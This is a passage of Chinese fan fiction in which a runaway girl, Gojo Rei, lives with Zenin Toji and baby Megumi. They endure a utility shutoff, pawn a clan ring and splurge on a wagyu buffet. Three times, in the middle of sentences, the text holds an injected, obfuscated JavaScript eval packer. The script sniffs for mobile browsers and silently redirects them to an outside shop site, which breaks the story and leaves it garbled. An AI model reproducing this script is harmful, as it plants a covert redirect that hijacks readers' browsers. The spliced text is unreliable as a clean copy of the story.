“或者是二十六吧。”他耸耸肩膀,“我忘记了。” “这样啊……” 无数谜团中的一个终于解开了。五条怜满足地点点头,总觉得肚子也不那么饿了。 当然,等到了一觉睡醒的早上,饥饿虫果然还是如约而至,齐齐高唱起空城计,响到闹醒了睡梦中的禅院惠。也不知道是幸运还是烂运气,他居然没有放声大哭,只是皱着脸揉了揉眼睛,然后就翻身接着睡了,这熟悉的反应让五条怜愣了愣。 这……是不是有点太像了? 甚尔窝在被炉里的时候,也经常会在有事情的时候不耐烦地翻个身当作什么事都不存在! 可恶,这就开始沾染上父亲的坏性格了吗…… 五条怜攥紧了拳头,心情复杂,顺便不自觉地开始思考起了她与自己的父亲可能会拥有的劣根性。 然后,什么也没有想到。 那个男人——五条家的家主,并不把她视作女儿。而意识到这个事实,也正是她离开那个家的最主要的原因。 啪嗒啪嗒,装在口袋里的戒指好像撞到大腿了,有种微妙的疼痛感。五条怜扯扯嘴角,决定继续沉浸在饥饿感里。 好消息是,耐心等到晚上六点之后,甚尔终于给楼下饭店打去了订餐电话,送餐的当然还是阳光小哥,态度甚至比前几天更殷勤了。 为什么每天都是他,他到底有没有休假日呢?五条怜无聊地想着,拆开包装袋才发现今天居然只有两盒简单的茶泡饭。 只有饭,而不是之前每天都会点的有汤有小菜还有点心的定食套餐。 本以为是过分阳光的送餐小哥出了错,但没想到甚尔居然一言不发地开始吃起来了,她更觉得不对劲。 ……算了,还是别想了。 五条怜把带着一点苦味的茶泡饭送进嘴里,继续盯着电视。 一年的最后一天,当然要以红白歌会作为收尾。 去年她和五条悟一起看过红白歌会。他好像很喜欢红组里的某个歌手,但她压根都不认识轮番出场的那些华丽明星们究竟叫什么名字。 今年的她多多少少进步了,在看到电视上穿着漂亮演出服的飒气女歌手登场时,她一下子就想起来这是广告上常看到的安室奈美惠。 安室奈美惠拿起话筒,唱响的第一个音符是尖锐的一声“噗嗤”。 然后,电视熄灭了。 小小的公寓陷入寂静的黑暗之中。 8.年末灾难 突如其来的昏暗,带来了一阵微妙的寂静感,好像家里的每个电器都被这股沉默所包裹,一时之间居然只能听到自己的呼吸声了。 要说害怕嘛,可能是稍微有一点吧。五条怜下意识抱住了膝盖,像只乌龟似的缩起了脖颈,总觉得自己的头发都快要竖起来了,而甚尔仍躺着一动不动的,也不知道是睡着了没有发现任何异常,还是不太在意这点小事。 胆战心惊地等了好一会儿,甚尔还是没吱声。五条怜实在忍不住了,偷摸摸挪到他身边,小心地用手指戳了戳他的肩膀。 “甚尔先生……电视机坏掉了。” “嗯——”他从鼻腔里发出了这么一声不置可否般的应声,磨蹭着说,“那你拍两下电视机的后盖试试。” “唔……这样就可以了吗?” “先试试呗。” “好的。” 拍拍电视机就能好了吗,这是什么原理呀? 五条怜很懵,不过还是乖乖地站起身来,跃过地上的几堆垃圾,绕到了电视柜的侧边。 最新款的液晶电视,摆在桌上像是个巨大的塑料盒子,从后盖里冒出的热气带着一股电子元件的温热气味。她左看看又瞧瞧,默默做足了心理准备,这才抬起右手。 嗙——好响亮的一声! 攒满灰尘电视机的后盖嗡嗡作响,五条怜的手上也像是被小虫子爬过似的又麻又痛,赶紧用力甩甩,居然从甩落了一大团灰尘,她的手上也脏兮兮的,都怪好久都没有人清洁过这台硕大机器。 脏也脏了,苦头也吃了,要是如此一来能够让电视机恢复工作,那倒算得上值得。可黑漆漆的屏幕还是黑漆漆的一片,压根没有亮起来,也没听到机器运转的声响。无奈,她又抬手拍了两下,结果依旧毫无变化。 “不起效果诶,甚尔先生。”她的耳朵都热起来了,好像没能搞定电视机全是她的错,“接下来该怎么办?” 甚尔叹了口气——叹息的对象倒不是她——难得地坐起身来,指节敲打在小桌子上,不知道在想什么,片刻后才说:“那就这样吧。” 看来他的计划是破罐破摔吧。 “哦……”五条怜耷拉着脑袋。 没能帮上忙,她有点沮丧。 “我可以去洗一下手吗?我的手脏了。” 他满不在意地甩甩手:“去吧。” 沾满了灰尘的掌心摸起来居然是略带毛茸茸的触感,怎么想都让她觉得好别扭。连一刻都不想磨蹭,五条怜赶紧跑到厨房,用力拧开水龙头。 没有听到哗啦哗啦的水流声,也没有感觉到冬日的清水落在手中的微凉感,明明水龙头都拧到底了,怎么半滴水都没有落下来呢? 五条怜歪过脑袋,呆愣愣地盯着无事发生的出水口看了好一会儿,这才想到是不是也该拍一拍叫它起床工作。 就和那台莫名其妙罢工的电视机一样,不管怎么拍打,水龙头还是固执地保持着干涸状态。她心里已经冒出不太好的预感了,匆匆忙忙跑回甚尔身边。 “水龙头也坏掉了!” “呃啊……” 甚尔发出低声哀嚎,痛苦地皱着脸,钻回到了被炉里,又把自己关进这层绵软的铁壁里了。 真像昨天电视上放的那只把脑袋钻进沙地里的鸵鸟一样啊。五条怜忍不住冒出了这种念头。 她赶紧甩甩脑袋,把失礼的心思丢出去了。 当务之急是修好家里坏掉的东西,可她哪会做这么高深的事情。看来还是得把此地唯一一个成年人禅院甚尔拉起来并且勒令他解决问题才行吧?话虽如此,可她哪有胆子做出这么放肆的事情啊…… 纠纠结结,犹犹豫豫,五条怜完全没能做出什么-0p妥帖的决定,倒是甚尔先一步钻出来了,嘴里还嘀咕着“好冷”。 没错,现在就连一直以来稳定地提供热源的被炉都停工了。 甚尔已经不想再叹气了,但面对这般现状,果然还是免不了吐出一口郁闷的浊气。他低头看看被炉,又抬眸瞄了瞄摆在角落里的婴儿床,最后视线才落在一脸局促的五条怜的身上。 “电视机和水龙头都没坏。”他挠挠头,“只是停水停电了。” 停水停电……这种事情应该不能用区区一个“只是”作为前缀吧? 五条怜眨眨眼,迟钝地思索了半天还没反应过来。 她还没经历过停电或者是停水之类的事情呢。说到底为什么会停水停电呢?她想不明白。 “当然是因为我忘记交电费水费啦。”他打了个哈欠,故作轻松,“上个月开始好像就没交过了。” 五条怜还是懵懵懂懂:“电和水都需要花钱吗?” “不然呢,大小姐?” 讨厌的称呼又冒出来了。她倏地红了脸,低下头,不说话了。 好嘛,虽然很丢人,但至少知道了这些看得见和看不见的东西都不是免费的,这也不失为什么坏事。 在五条怜忙于调节羞耻心情的时候,甚尔也在心里盘算起了账目。他还从口袋里摸出了干瘪的钱包,把剩下的找零数了三遍,每数完一次都忍不住要叹息。 “总之。” 像是下定了决心,也可能只是说点自我安慰的话,他“啪”一下阖上钱包,沉声道。 “明天上午先去把电费付了。没电视看可不行。” 五条怜赶紧从自己的羞耻心中抽身出来,急急道:“没水也不行呀甚尔先生!” “啊,是是是。” 甚尔的脑袋更痛了。他又掏出了钱包,重新把零钱数了一遍。 就这么点钱,就算是数一百倍,也不会变出更多的。甚尔当然知道这个道理,可他就是忍不住反复确认。 “行吧。”他再度合拢钱包,“那就先把这个月水电费付了,至于吃饭……等等,现在已经是新的一个月了吧?” “是的。现在是2003年1月1日了。” 就在他们苦恼着水电费的途中,时针已经不声不响地走过了数字十二。现在是崭新的一天了——也是崭新一年的起始。 照理说,新的一年应该酝酿出一点新的理想才对,没想到摆在自己面前的却是无比头痛的现实,甚尔都不想再数钱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14370135|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不管怎么数,钱包里也不会突然多出付房租的钱。保不齐再过两天房东就要上门催收房租了,真是想想都觉得烦。 他果断地闭上眼,仰面躺在地上,努力放空大脑,可货币符号还是在眼前转个不停,扰得他不得安生。 “总之!”这次绝对是下定决心了,他一字一句对五条怜说出事实,“我没钱了,钱包里就是我剩的所有家当。你明天跟我去卧室里找找有没有什么多余的钱,要是找到了,就用这笔横财付掉房租和水电费。要是没这个狗屎运的话……我还没想好。总之明天再说。” 简直算得上轻而易举,最为棘手的问题就这么被推到了明天。 在如此重要的大事上,五条怜可没有什么决定权,只点点头表示了解了。于是甚尔也心满意足,重新钻回已经冷掉的被炉里,没一会儿就睡着了。 没有了电的小小公寓,透着一股没由来的阴冷。五条怜被冻醒了好几次,睡都睡不安稳。低头看看,甚尔也缩成一团了,眉头紧锁着,显然也在梦中渡劫。 唯一在享受着安眠的,可能只有窝在柔软床榻里的禅院惠了。但到了后半夜,他也开始躁动不安起来了,发出咕哝似的哭声,而这全都是因为断电缺热水。没办法,五条怜无法安眠的后半夜彻底耗在了哄小孩这件大事上,直到天色堪堪亮起,才被赋予了更有意思些的工作。 没错,就是昨天说的找钱计划。 “你只要跟着我在抽屉里翻翻有没有钱就行了。” 甚尔在口袋里摸索着找钥匙,一边说着一边忍不住打了个哈欠,话语的尾音差点随之飘到天上去。 “别的东西不要乱动。” 她配合地点点头:“明白了。” 五条怜知道,禅院甚尔的身上有着一大堆谜题,其中有一个谜题是,明明家里有着正经的卧室,他却总要睡在客厅的被炉里。 想要解开谜题,方式无非两种——向本人求解,或是自己努力思索。 前者的应对方式,她肯定是没胆子付诸实际的,所以她只很认真地思索过几回。不知是否靠谱的大脑给出的推测是,这个房间是他与那个“以前同他住在一起的女人”居住的地方,所以现在才空关起来了。 如果这么想的话……那他是个很重感情的家伙嘛。 这番结论和五条怜心里的甚尔不太一样,别扭的冲突感让她总忍不住想要打量他的神色。 她当然知道,自己的观察行动并非天衣无缝,却也没想到没过多久就被甚尔抓了个正着。 “干嘛?”他不快似的努了努嘴,“你老是傻兮兮睁大眼盯着我看。” “抱歉……因为甚尔先生您还挺好看的?” “别说这种投机取巧的话。” 谎话一下子就被戳穿了。五条怜有点尴尬,笨拙地保持着嘴角的僵硬弧度。甚尔倒是无所谓她怎么样,继续开门。 咔嚓——钥匙滑进锁眼。 老旧的门锁要用力往右侧旋上一整圈,才能到锁片被拨动的声音。 他敞开门,让久违的花香味重新闯出这个房间。 9.经济危机 馥郁的花香味,五条怜对这股味道很熟悉。 在衣柜的纸箱子里,她曾闻到了类似的香气。害得洗衣机大吐特吐的时候,疯狂涌出的白色泡沫也是一样的味道。 真想说其实她挺喜欢这香气的,不过眼下的场合似乎不太适合发表感叹。五条怜默默闭紧嘴,跟着甚尔走进房间。 小小公寓的卧室也是小小的,靠墙摆了一张尺寸介于单人床与双人床之间的别扭木床,被子皱巴巴地堆在床边。几件衣服搭在一旁的椅背上,角落里是张小书桌。除此之外,就没有什么别的特别的东西了。甚尔一指书桌,叫她先从这里找起来,自己则是翻开了床垫,打算从床下的收纳抽屉里碰碰运气。 探索一片陌生的区域,真像是不打招呼就闯进了别人的家里。 五条怜小声对空气说了一句“不好意思”,这才拉开书桌旁的堆满衣服的椅子。 平平无奇的房间,就连书桌也没什么不同的。桌上摆了几本育儿书,还有一本小小的手账。做贼心虚的感觉又快冒出来了,她只用手指捏着书脊,小心翼翼地抖了两下,眯起眼,努力不去看书页上的内容。 果不其然,书籍也好笔记也罢,里头都没有夹着钞票或者硬币。这点期待算是落空了。 转战书桌抽屉,在化妆品、针线包、发夹和小杂物之间翻找一阵。好运气终于派上用场,居然找到了一小个零钱包。她迫不及待地拿去给甚尔看。 “零钱包啊?” 甚尔把架起的床垫扛在肩膀上,这才腾出手来掂量这个小小钱包,装在里头的零散几个硬币碰撞出贫瘠且冰冷的叮当声。他的心也要冷下去了。 拉开一看——好嘛,居然真的只有几枚五元铜板而已。 “估计是攒着新年参拜的时候用的。”甚尔撇撇嘴,扯出一丝苦笑,“干脆就用这点五块钱去求神拜佛好了,说不定神会愿意让我中张彩票的。” 五条怜对他的话有点好奇:“神明也管彩票吗?” “估计不管,但我希望神的业务范围能扩大一点。别好奇这种问题了,把零钱包放回去。” “哦。” 看来自己的工作没有得到什么可观的成效啊——接过零钱包时,五条怜失落地想。 不过,甚尔先生也没有因此而气恼,应该说明她不算是做得很烂吧? 琢磨着琢磨着,失落的心情瞬间就调理好了。她把零钱包收到原处,继续翻找起来。 把小书桌翻了个遍。除了刚才的零钱包之外,五条怜没能在找到半点和钱有关的东西了。这里头净是些杂物。倒是甚尔,意外的在床下的过季被子里找到了一张五千的钞票——意外之财! 用这五千块付房租?显然是做不到的。但不管怎么说,水电费和这两天的伙食全都有着落了。 本着得过且过的心态,五千块算得上相当不错的收获。甚尔朝五条怜招招手,带着她出门一起去缴费。 仔细想想,从平安夜那天来到禅院家以来,她还没有正经地出过门——走出门外拿外卖可算不上是什么“出门”。 所以,时隔多日,踏上空旷且坚实的水泥地面,这么平凡且简单的小事也足够让五条怜产生了一种陌生感,迈出的每一步都好不自在,俨然化身为了几年前和五条悟一起在电视上看到过的宇航员阿姆斯特朗。 「你迈出的一小步,肯定没办法代表人类的一大步啦!」 要是被五条悟看到了此刻别扭地走着路的自己,他肯定会这么说的……算了,别想了。 五条怜甩甩脑袋,把虚构的五条悟丢出脑海,加快步子,追上甚尔。 缴费所离家有点距离,要穿过三条街,再越过一座小桥,才能看到那映射出日光的玻璃门。 今天是新年的第一日,街上好热闹,不只有新年大促销的招牌和吆喝而已,还有成群结队向神社而去的年轻人们。五条怜猜,五条悟现在肯定也在前往神社的路上,或者他已经在神社里了。新年参拜的习俗,五条家绝不会让他落下……不对不对。怎么又开始想他的事情了? 甩甩脑袋也没有用。她只能盯着甚尔的背影,努力放空大脑。 在这个热热闹闹的新年,结伴走在一起的他们,却透着前所未有的孤独感。可能是因为他们都穿着黑漆漆的衣服,也可能是因为他们并排走着却不说话。空气里满是寒意,从衣领里钻进去,害得浑身上下都暖不起来。天也毫不晴朗,阴沉的模样像是快要下雨了,不过在这般冰冷的温度下,从厚重云朵中落下的很可能不是水滴,而是更加轻飘飘的雪花。 穿过小桥,来到缴费所。五条怜看着甚尔缴清费用,收据和零钱一起被他随手装进了外套口袋里。 这些零钱就是我们剩下的所有的钱了吗?——她好想把这句话问出口,不过舌头好像被新年的寒意冻住了,怎么也没能把话说出来。 “回去喽。” 他朝五条怜招招手,她小跑着赶了上来。 其实,找回的这点零钱,真的就是甚尔仅剩的所有家当了。 上次干的肮脏活(正是平安夜的那一次)没能得到半点报酬,委托人以“你的工作完成得太晚了”为理由,自说自话地扣下了他的佣金。甚尔自认倒霉,也懒得同那帮抠门的家伙掰扯。不过现在他觉得自己可能需要去掰扯一下了。 不管怎么说,总得拿回点钱才是。 当然了,死皮赖脸的掰扯,也不是眼下就能立刻着手去做的,总得提前做好准备才行。 在此之前嘛,美味的定食套餐肯定是没得再享用了。靠现在所剩无几的这点钱,连点两份最最简单的盒饭外卖的余地都已经消失无踪。当真是有点凄惨了。 回家的路上,甚尔拉着五条怜去了趟老旧的杂货铺,在冰柜里翻出了几包最便宜的冷冻乌冬面(也不知道是何年何月的产物),丢进五条怜拎着的购物篮里,再顺手抓起货架上蔫了吧唧贴了三张打折标签的豆芽菜。结账时,店主老太太看向他们的表情好像带着一点怜悯,甚尔装作没看到,从老太太手里抢过收银条,依旧是看也不看地塞进口袋里,招呼五条怜回去了。 乱糟糟的厨房姑且被清理了出来,久久没有正常工作过的煤气灶也重新点起火,五条怜看着甚尔从不知道哪个角落里摸出了一个小锅,惊讶到下巴都要掉到地上了。 “甚尔先生……您居然会做饭呀?” 一不小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14390689|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就连心中的疑惑都说出口了。她匆忙捂住嘴,可惜稍稍晚了一点——甚尔已经听见了。 “这不叫做饭。”他轻哼一声,用筷子挑开锅里的冷冻乌冬面,抓起一把豆芽菜丢进去,“撑死了就是把生的东西变熟而已。你爱吃不吃。” “我吃的我吃的!” 在狠狠饿过肚子之后,不管是什么奇形怪状的玩意儿,她全都能吃吃下去! 而甚尔煮出来的东西嘛…… 要说它“奇形怪状”,那绝对是算不上的,但也肯定没办法和“美味”沾边。他只是把乌冬面和豆芽菜烫熟了而已,顺便塞了两颗白煮蛋进去,倒上照烧汁拌一拌,勉强凑成了一顿有味道且能果腹的饭。 第一顿乌冬面,在新奇劲的加持下,五条怜吃得心满意足。吃到第三顿,虽然不想承认,但她真的有点腻味了。 到了第五顿,冰箱里的鸡蛋彻底清空,取而代之的配菜是腌了很久的酱瓜,味道倒是尚可,只是一口下去,酸得牙齿都要掉了。依旧不想承认,可她既然有点羡慕禅院惠了。 白乎乎的、充满蛋白质和营养元素,且在某种程度上算得上是荤食的奶粉,好像比她的素食乌冬面好上不少耶…… 五条怜不争气地咽了口唾沫,闭上眼,英勇就义般把奶瓶往禅院惠的嘴里一塞,听着他饱餐一顿的咕噜咕噜声,肚子里的饥饿虫都快要叫出声来了。 “喂,阿怜。” 咚——是碗放在桌上的声音。随即是一阵窸窸窣窣,肯定是甚尔钻进了被炉里。 “来吃饭。” 这两天唯一的好消息大概是,甚尔终于用“阿怜”称呼她了,虽然总会在开头加上一个“喂”字,不过她也不觉得别扭。 “来了!” 把小惠好好地放回到婴儿床上,五条怜踏着艰难的脚步,一点一点挪向饭桌。 果然果然,今天也是乌冬面配豆芽照烧汁。酱瓜倒是不见了,因为昨天他们已经吃完了最后的一根酱瓜。 五条怜拿着筷子的手不自觉在抖,脑袋中满是照烧汁的熟悉味道,以至于搅拌乌冬面的动作都变得无比坚硬了。甚尔似乎没有发现她的不对劲——他甚至都没有吃腻这过分简单的餐食,漫不经心地一边盯着电视,一边吸溜面条,呲溜呲溜的声音听得她所剩无几的食欲彻底打了水漂。 默默地,五条怜放下了筷子,偷摸摸打量起他。甚尔装作没有注意到她的视线,继续吃面。 “那什么……甚尔先生。” 没办法了。现在真的只能把话说出口了! “我们没钱了,对吗?” “对。” 他倒是很坦诚。毕竟这个事实这么明显,完全没有遮遮掩掩的必要嘛。 五条怜不自在地搓搓大腿,掌根触碰到了口袋里那个硬硬的圆形东西。 她有一个想法,已经琢磨很久了,只是一直没有说。或许她应该说出口了。 “我有个……呃……这个东西。” 叮——比面碗撞向桌面更清脆的声音,一枚戒指被摆放在了桌上。 是五条怜的戒指。是她从家主那里拿走的戒指。 “您把它卖掉吧。” 10.素银戒指 卖掉家主的戒指,这个决定绝非是一时冲动。 同样,也确实没经过多少深思熟虑。 五条怜满脑子想着,要是能够避开接着吃清水煮乌冬面的命运,不管做什么都是值得的——就算要卖掉她那不存在的尊严也完全没关系! 况且,戒指留在她的身边,并不存在任何意义。 自始至终,只有她自己还在固执地拘泥于家主看向她时的目光。 听到她的话,还有那清脆的“叮”一声响,甚尔终于抬起头来了,先是看了看不自觉抿紧了唇的五条怜,而后才瞄向躺在桌上的银色圆环。从他所在的这个角度,很容易就能看到刻在内圈的名字。甚尔用指尖捏起戒指,里外打量了几眼。 “Akiteru Gojo……”他小声念着内圈刻下字母,“是五条家的谁啊?” “是现任的家主。” 甚尔撇撇嘴,其实不太感兴趣,不过还是接着问:“这名字写成汉字的话,是哪几个字?” “明光。”五条怜抬手,轻轻用手指往水杯里点了点,在桌上写下文字,“五条明光。” “哦——”这下倒是明白了,甚尔把戒指丢回到桌上,“要是卖掉了,你们五条家的人不会跑过来追着我要吧?” “唔……” 这确实是个值得琢磨的问题呢,而她居然根本没考虑过,真是太单纯了。 五条怜戳戳额角,飞快地在心中把一切可能性全都盘了一遍。 不管是左想还是右想,好像都没什么好担心的? “应该没事的……应该没事吧。”话都说出口了,又被她临时添上了一点迟疑的色彩,“我想,家主大人都不知道我拿走了戒指。” “那行。下午就去卖掉。” 没有半点客气,丢下这么一句决定后,甚尔就把戒指收进口袋里了,果断得让五条怜差点没反应过来。 ……咦,这就接受了呀? 她摸摸脑袋,有点纳闷。 原本五条怜还以为自己必须要面对甚尔的一些人情拉扯,比如像是“我怎么好意思让你付出自己的东西”或者是“我就算再穷困潦倒也绝不会让你一个小孩子费心”之类的的客套话,真没想到这类破话他半句都没说,估计连犹豫都没有过。 不过,这幅毫不客气的做派才算是意料之中吧。 实话实说,五条怜有点郁闷——缺少了拉扯的环节,总让她觉得卖掉戒指这件事都显得毫无实感了,悬浮得如同在做梦。 就这么混混沌沌地接着吃面条,磨蹭的速度也不知道是在拖延着什么。 就在最后一根面条送进嘴里时,甚尔催着她快点跟上来。 “这就要出发了呀……”不真实感又冒出来了,五条怜感觉自己的脑袋也晕乎乎起来了。 他披上外套,把钥匙揣进口袋里:“我讨厌浪费时间。” “好的好的。” 匆匆忙忙收拾好桌上的东西,五条怜追上他的脚步,走出了家。 在什么地方才能卖掉戒指呢?关于这个问题的答案,生活常识寥寥的五条小姐肯定是给不出什么答案的。 她唯一能够想到的合理去处是珠宝店,但一路上他们经过了三面摆满闪亮首饰的玻璃橱窗,甚尔都没有停过一回脚步。看来,他们的目的地并非珠宝店。 接着往前走。明明都已经过了正午,温度还是没有升高多少,毫不留情的从衣领袖口间钻进去。五条怜把外衣拉链拉到最顶上,让毛茸茸的羊羔毛衣领贴住脖颈,可好像还是没觉得暖和多少。这件隶属于甚尔的旧羊皮夹克正沉沉地压在她的肩膀上,他却依然觉得自己的脚步无比虚浮。 说不定,没有脚的幽灵走起路来就是这种感觉吧。 她没头没脑地想。 就这么飘忽飘忽地前进着,他们在一块写着硕大“质”字的招牌前停住了脚步。左右瞧瞧,原来这是一家当铺啊。 店里没有电灯,推门进去,能望到的尽是一片黯淡。空调倒是打得足够暖,倏地扑在脸上,捂得五条怜瞬间就出了一层薄汗。 当铺,这样的地方对于她来说,多少有点太过陌生了,可甚尔却像驾轻就熟似的,径直走到角落的柜台,按了下台子上的铃铛,清脆的声响听着却实在突兀。 稍等上一会儿,店员的脑袋会从柜台的小窗口里探出来。 店员好像坐在了一把很高的椅子上,又或者是他本来就高得可怕,所以才低着头,眯起的小眼睛透过窗口的铁栏杆,俯瞰着甚尔和五条怜。明明待在里头的是店员,在栏杆背后的那方也是他,可不管怎么看,五条怜都觉得,被囚禁起来的像是自己和甚尔。 “要卖什么东西?”说起话来也是阴森森的。 “银戒指。” 店员从鼻腔里咕哝了一声,递出来一张纸:“先填表吧。” 表格纸从窗口里伸出来,落在柜台的台面上,甚尔拿笔填起来。五条怜探头想看看表格是什么样的,却怎么都看不清。 柜台太高了,边缘才同她的鼻梁骨平齐,踮起脚尖也没办法把歪斜的文字看得清楚,就连比她高出了那么多的甚尔都只能别扭地擎着手臂写字,估计他也挺不自在吧。 要是有和自己一样高,甚至是比她还矮的人要来典当的话,该怎么办呀?她忍不住想。 这个疑问很快就得到了解答。无聊地东张西望了一会儿,她在柜台下方发现了一个脚蹬。要是踩在这上头,应该就能够轻松地够到柜台了吧。 尽管心里这么想着,五条怜却在犹豫是不是真该将想法付诸实际。纠结了半天,还没拿定主意,甚尔倒是先把表格递上去了。 嗯。用不着纠结了。 窗口后头的店员依旧是眯着眼睛,拿了支笔,把纸上的每个空格都仔仔细细读了一遍,又捏起戒指,以同样的认真劲打量起来,里里外外通通看了一遍,这才点点头放下。 “在我们卖出这件商品之前,你可以随时购回。”他看着甚尔说,从头到尾目光都没有在她的身上停留半秒,“当然,具体的价格要以购入当日的市价为准。” 原来还可以买回来呀?五条怜忍不住感到惊讶。 甚尔自然不会有和她一样的心情。他都没怎么认真听店员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14412404|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,毕竟他可没有赎回戒指的想法。只随意地应了声“嗯”,他招招手,让五条怜快点跟上来。 直到走出了店外,他才开始数起这次的“收获”——整整五张万元大钞。 说不定这枚戒指会更值钱,说不定去别家当铺还能争取到更高的价格,这些可能性并非不存在,不过甚尔不打算再去麻烦了。 说实在的,能卖到五万块,已经算是出乎意料的价格了。付房租依旧不够,加加餐完全是绰绰有余。他把这笔难得的收入好好收进口袋里,总算感觉心情轻松些了,迈步走的飞快,回过神来,才发现五条怜被甩在了后方好远的地方。 停住脚步。等了两分钟,她才赶上来。 “干嘛。”甚尔丢出这么干巴巴的一句。 他努着嘴,对五条怜的磨蹭好像有点不太高兴。 “卖了你的戒指,你觉得不高兴了吗?别忘了,是你自己说要卖掉的。” “没有,我没有觉得不高兴。”五条怜自己也不确定她是不是在说谎,只说,“我只是有点困惑。” “困惑什么?” “为什么当铺的台子那么高呢?” 这句话绝对不是谎言了,因为她真的很想不明白这一点。 听着这话,甚尔也想了想。 “防止买东西的人后悔吧。”他给出自己的想法,“靠在那么难受的桌子上,被店里的人像罪犯似的盯着填完典当物品的信息,这一套事情做完,尊严和决心都不剩多少了,肯定不会有人再想把东西赎回来的。” “唔……原来是这样。” 五条怜了然般点点头。 她完全没往这个角度思考过,确实是见识太少了一点啊。 走回家的路上,能听到甚尔自言自语地嘀咕着说,今晚应该点什么定食吃。看来水煮乌冬面已经从他的菜单里面删除了。 “阿怜,你想吃什么?”居然还很难得的主动询问起她的意见来了。 五条怜受宠若惊,下意识地指了指自己:“我、我呀?” 他笑了一声:“路上没别的人叫‘阿怜’吧?” “……您说的也是。” 她笨拙地笑笑。 难得被赋予了“决定今天吃什么”的重要使命,她真的得好好发挥才行了。只是不争气的思维好像有点卡住了,思来想去,能够想象出的美食居然只有照烧汁拌乌冬面——甚至还是没有水煮蛋和酱瓜的凄凄惨惨光面版本! 赶紧甩甩脑袋,把清汤寡水的乌冬面丢出幻想。即便如此,她居然还是没能冒出半点灵感。 在她纠结着不知道是不是应该丢出“我其实什么都能吃”的万能答案时,甚尔停住了脚步,俯身打量路旁立着的宣传牌。 “就吃这个了!” 才花了两秒钟的思考时间,他就做出了决定。 五条怜收起纠结的心思与水煮乌冬面的幻影,微微歪过身子,视线越过甚尔壮硕的身躯,也落在了立起的宣传牌。 「新店开业,限时三天和牛自助特惠,每人仅需一万元!!」 宣传牌上这么写着。 11.有效投资 和牛自助、限时特惠、一万一人。 宣传牌上黄色标粗的这几个大字实在太具有冲击性了,才看了一眼而已,便不受控制地在五条怜的脑海里转个不停。 一万块一个人……那两个人的话就是两万块了,可卖掉戒指的钱只有五万而已呀,不是吗? 她的数学本领一直算不上多好,以前五条家的家庭教师也总会对她着她交上去的作业摇头叹气。可就算再怎么没脑子,她也能意识到,这场和牛盛宴将会对好不容易稍稍充裕起来的钱包造成一场重大打击。 “怎么样?”甚尔对此显然毫无自觉,冲她一扬下巴,“去吃吧!” “呃——” 要说不想,那绝对是在骗人没错。 从烤肉店的门缝间钻出的肉香气太诱人了,一下子就抓住了她空荡荡的胃,把仅存的那点平淡无味的乌冬面化作虚无,拧出一阵饥饿的叫声。她都不敢张开嘴了,生怕所剩无几的理性彻底从唇齿间逃走,害她彻底沦落为烤肉的奴隶。 对,要理智……要理智! 不管怎么想,把今日唯一收入的五分之二花在一顿烤肉上,都不像是什么明智的决定——虽然不知道平常总点的定食套餐是什么价格,但肯定比两万块便宜多了! 考虑到持久的长期发展(事实上五万块这点钱真的也发展不了多久),她觉得自己应该劝劝甚尔才行。 对于她的小脑瓜子里到底在琢磨着什么,甚尔无从得知。 从他这个角度望过去,有着一副呆愣面孔的五条怜,看起来更像是纠结着拿不定主意的模样。他倒也不打算强迫她,毕竟带着一个小屁孩一起吃饭肯定不如独自享用和牛盛宴来得痛快。他甚至松了口气,摆摆手说:“你要是不吃的话,就先回家吧。呶,钥匙给你。” 哐啷哐啷,他从口袋里摸出一大串钥匙丢过来,转身拉开饭店的木门,浓郁的烤肉味一下子涌了出来。五条怜愣了愣,这才手忙脚乱地接住钥匙。 “我……” 犹豫着张了张嘴,劝说的话语还没还得及说出来,倒是先听到了极其微弱的“咻”一声——很明显,这是仅存的理智从躯体里飞出来的声音。 于是,还来得及吐露的言语拐了个弯,又缩回到心里去了。五条怜抿着唇,把要是捧在手里,跟上他的脚步,一起走进暖混混的烤肉店里。 大概是新店开业限时特惠的噱头有够吸引人,也可能是这家店的味道真的不错,饭点已经过去了好一阵,店里还是顾客不少。甚尔挑了个角落的小桌子,坐下时,还朝她投去了取笑般的目光。 “还是跟过来了?” “嗯……”五条怜把钥匙还给他,“肚子饿了。” “那就多吃点。”他抽出一旁的菜单,“吃到回本。” 要吃掉价值一万块的牛肉,这种事真的能做到吗?光是想想都觉得不可思议。 不过,窝囊的话语,她是不会说出口的。 店内温暖的空调风驱赶走了身上的寒意,沉重的羊皮夹克显得分外累赘。五条怜慢吞吞地脱下外套,叠好,放在椅子下方的竹篮里。重新抬起身时,点好的不限量菜品也被送上了桌,薄薄切片的牛肉铺在黑瓷盘里,桌面上的所有空当都被占满了。 